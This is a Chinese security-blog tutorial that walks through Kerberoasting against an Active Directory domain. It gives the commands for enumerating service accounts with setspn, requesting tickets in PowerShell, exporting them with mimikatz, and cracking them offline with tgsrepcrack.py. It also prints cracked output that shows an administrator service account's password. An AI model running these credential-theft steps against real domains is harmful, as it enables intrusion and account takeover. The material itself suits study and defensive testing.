【技术分享】内网安全之域服务账号破解实践

阅读量363550

|

发布时间 : 2017-03-03 16:12:56

 http://p7.qhimg.com/t01283653516f8bfe95.png

作者:shuteer

预估稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


0x01引言

 对于国内的网络管理者而言,现有的网络安全防护手段大多强调对来自外部的主动攻击进行预防,检测以及处理,而授予内部主机更多的信任。但是,统计数字表明,相当多的安全事件是由内网用户有意或无意的操作造成的。为保护内网的安全,一些单 位将内网与外网物理隔离,或者将内部通过统一的网关接入外网,并在网关处架设防火墙、IPS、IDS等安全监控设备。尽管如上述所示的各类安全措施都得到了实现,众多管理者们却仍然头疼于泄密事件或其它各类内网安全事件的频繁发生,这就充分说明了内网安全维护的复杂性。所以很多企业会采取使用域来管理内部较为复杂的网络, 因为它可以安全集中管理,统一安全策略。

域控制器相当一个门卫,它包含了由这个域的账户密码、管理策略等信息构成的数据库。当一台计算机登录域时,域控制器首先要鉴别这台电脑是否是属于这个域的,用户使用的登录账号和密码是否正确。如果正确则允许计算机登入这个域,使用该域内其有权限访问的任何资源,像文件服务器、打印服务器(也就是说域控制器仅起到一个验证作用,访问其他资源并不需要再跟域控制器扯上关系);如果不正确则不允许 计算机登入,这时计算机将无法访问域内任何资源,这在一定程度上保护了企业网络 资源。

本文将从攻击者的角度出发,针对域服务账号的安全作出相关的安全探索与研究。


0x02何为Kerberoast

Kerberoast能够在不对目标系统发送任何数据的情况下用普通用户身份从活动目录中提取服务的账户凭证。因为人们总是喜欢设置弱口令,所以这种攻击经常能够成功。原因是:大多数服务账户的密码都和域的密码最短长度限制一样长(通常是10个或12个字符),这意味着即使是采用暴力破解的方式,所花费的时间也不太可能超过密码过期时限。更何况有的服务账户甚至还没有设置密码过期时限。更好玩的是,大多数服务账户都有权限过大的问题,通常还是域管理员组的成员,有着对活动目录的全部权限(尽管有时候服务账户只需要修改某些特定对象的属性或者只需在特定服务上拥有管理权限)。

知识点1:这种攻击对Windows系统内置账户不会成功,因为这类账户有着128位长的密码,这么长的密码不可能在短时间内破解出来。

攻击的步骤包括为目标的服务账户的服务器主体名称(Service Principle Name-SPN)请求一个Kerbero服务票据 (TGS) 。这里会采用一个有效的用户认证票据(TGT)来请求一个或几个运行在服务器上的目标服务票据。域控不会检测用户是否真正连接到了这些资源上(即使用户可能真的有权限访问)。域控会在活动目录中查找SPN并且用SPN关联的用户账户把票据进行加密,以此赋予用户访问服务的权限。请求的Kerbero服务票据的加密类型是 RC4_HMAC_MD5, 这意味着服务账户的NTLM密码哈希会被用来加密服务票据。所以Kerberoast能够通过尝试不同的NTLM哈希来解开kerberos票据,一旦票据被成功解开,它的密码也就到手了。

知识点2:SPN 是服务在使用 Kerberos 身份验证的网络上的唯一标识符。 它由服务类、主机名和端口组成。 在使用 Kerberos 身份验证的网络中,必须在内置计算机帐户(如 NetworkService 或 LocalSystem)或用户帐户下为服务器注册 SPN。 对于内置帐户,SPN 将自动进行注册。 但是,如果在域用户帐户下运行服务,则必须为要使用的帐户手动注册 SPN。

知识点3获得服务票据不需要提权,同时也不会发送数据到目标机器。

 

0x03工具简介

1.GetUserSPNs.vbs 或者GetUserSPNs.ps1 获取spn账号,在本文中获取使用的是系统默认的工具setspn(在域控制器上运行该工具必须具有域管理员身份)

2.mimikatz 获取用户密码工具

3.tgsrepcrack.py破解用户票据

4.密码字典


0x04查看当前电脑的用户票据

查看当前电脑的所有票据使用到的命令为klist。获取当前电脑登陆的票据可以直接使用klist来获取,具体如下图所示:

http://p2.qhimg.com/t0151e2bfc5ea8b8685.png

 

0x05获取所有的域服务账号

获取所有的域服务账号主要有三种方法,第一种是直接使用windows自带的setspn,第二种是使用vbs的脚本GetUserSPNs.vbs,第三者使用powershell的脚本GetUserSPNs.ps来获取。在本文中使用了第一种方法来获取所有的域服务账号,命令为setspn -T DOMAINNAME -F -Q */*。

http://p9.qhimg.com/t0163228cf7e887c22e.png

 

0x06在本地获取域服务账号的票据

在本机获取指定的域服务账号的票据 获取服务账号administrator的相关票据。命令如下:

PS C:> Add-Type -AssemblyName System.IdentityModel
PS C:> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList

http://p7.qhimg.com/t01d531bd73ebf3316a.png

我们现在查看已经获取的用户帐号administrator的票据

http://p5.qhimg.com/t019984da5dd4677299.png


0x07获取所有的域服务账号的票据,比较复杂就不截图了

PS C:> Add-Type  -AssemblyName  System.IdentityModel

http://p4.qhimg.com/t01341597a4c3af60b8.png

 

0x08导出所有域用户的票据

在此基础上可以使用mimikatz工具从RAM中对所有的票据进行导出,具体使用到的命令如 下:

mimikatz # kerberos::list /export

0x09破解获取的用户票据

接着在KALI下离线使用tgsrepcrack.py对导出的票据进行暴力破解,具体操作如下:

使用的命令为:

tgsrepcrack.py -w wordlist.txt *.kirbi
root@kali:/home/kerberoast# python tgsrepcrack.py pass.txt 2-40a10000- Administrator@MSSQLSvc~antivirusserver.ppum.xxxxx.net-PPUM.xxxxx.NET.kirbi found password for ticket 0: good.net2007 File: 2-40a10000- Administrator@MSSQLSvc~antivirusserver.ppum.xxxxx.net-PPUM.xxxxx.NET.kirbi  All tickets cracked!

很顺利,我们成功破解出了密码good.net2007。

 

0x10对域进行深层次的渗透(略,等下文再续)

The End.

 

欢迎各位的交流和批评指正!

Author: 椰树

QQ群: 282951544

微信公众号交流:杂术馆

本文由Ms08067实验室原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/85606

安全客 - 有思想的安全新媒体

分享到:微信
+10赞
收藏
Ms08067实验室
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66